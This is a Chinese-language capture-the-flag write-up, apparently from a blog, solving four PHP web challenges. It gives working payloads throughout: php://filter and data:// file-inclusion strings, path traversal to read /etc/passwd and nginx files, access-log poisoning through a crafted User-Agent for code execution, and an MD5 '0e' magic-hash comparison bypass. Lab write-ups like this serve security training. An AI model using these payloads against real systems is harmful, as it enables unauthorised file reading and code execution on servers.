0x01 CheckMe01
进入环境,随意输入字符:
看一下代码,发现$keys = base64_decode(urldecode($keys));
说明需要先将qsnctf
字符进行base64编码才能使$keys=="qsnctf"
判断成立。
所以输入:
cXNuY3Rm
得到flag
0x02 CheckMe02
打开题目的环境,发现是文件包含题:
通过
?url=php://filter/read=convert.base64-encode/resource=index.php
php伪协议可以查看到index.php
的源码的base64:
PHRpdGxlPkNoZWNrTWUtMDI8L3RpdGxlPg0KPD9waHANCnByaW50KCI8aDE+5qyi6L+O5p2l5YiwQ2hlY2tNZS0wMu+8jOW/q+adpeWvu+aJvuS9oOeahEZsYWflubbmj5DkuqTlkKfjgII8L2gxPiIpOw0KPz4NCjw/cGhwDQplcnJvcl9yZXBvcnRpbmcoMCk7DQokdXJsPSRfR0VUWyd1cmwnXTsNCmlmKGlzc2V0KCR1cmwpKXsNCiAgICBpbmNsdWRlKCR1cmwpOw0KfQ0KICAgIA0KPz4NCjxodG1sIGxhbmc9InpoLUNOIj4NCjw/cGhwDQogICAgICAgICAgICANCiAgICAgICAgICAgICRjb2RlPSI8P3BocCBpbmNsdWRlKCQiLiJfR0VUWyd1cmwnXSk7Pz4iOw0KICAgICAgICAgICAgaGlnaGxpZ2h0X3N0cmluZygkY29kZSk7DQogICAgPz4NCg==
解码得到:
<title>CheckMe-02</title>print("欢迎来到CheckMe-02,快来寻找你的Flag并提交吧。
");?>error_reporting(0);$url=$_GET['url'];if(isset($url)){ include($url);}?><html lang="zh-CN"> $code="."_GET['url']);?>"; highlight_string($code); ?>
可以看出并没有做任何过滤,试试读取phpinfo():
?url=data:text/plain,<?php phpinfo();?>
直接读取到FLAG。
0x03 CheckMe03
打开题目环境:
还是文件包含题目,相比于CheckMe02
这题把php伪协议过滤了。
但是还是可以读取到文件,比如/etc/passwd
:
?text=../../../etc/passwd
那说明还可以通过日志来解析PHP语句。
根据nginx配置文件:
?text=../../../etc/nginx/nginx.conf
可以推测access.log文件所在位置为/var/log/nginx/access.log
,这个日志文件会记录http请求日志:
?text=../../../var/log/nginx/access.log
所以通过发送一个包含语句的http请求来写入
access.log
文件,这里就要用到burpsuite
来拦截请求包,修改里面的User-Agent
字段:
然后再通过文件包含漏洞访问access.log
日志文件:
找到FLAG
:
0x04 CheckMe04
打开题目环境:
分析一下这段代码,变量a只能为字母,b只能为数字,然后他们各自的MD5
值如果想等就输出flag。
这里通过0e截断可以做到,因为0e
在是科学计数的语法,0e后面不管多大都是0
所以只需要找到两个0e开头的md5就行了
但不要忘了a只能是字母,b只能是数字:
a = QNKCDZO
md5(a) = 0e830400451993494058024219903391
b = 240610708
md5(b) = 0e462097431906509019562988736854
所以Payload:
http://xxx/?a=QNKCDZO&b=240610708
来源地址:https://blog.csdn.net/ShangYaoPaiGu/article/details/128090156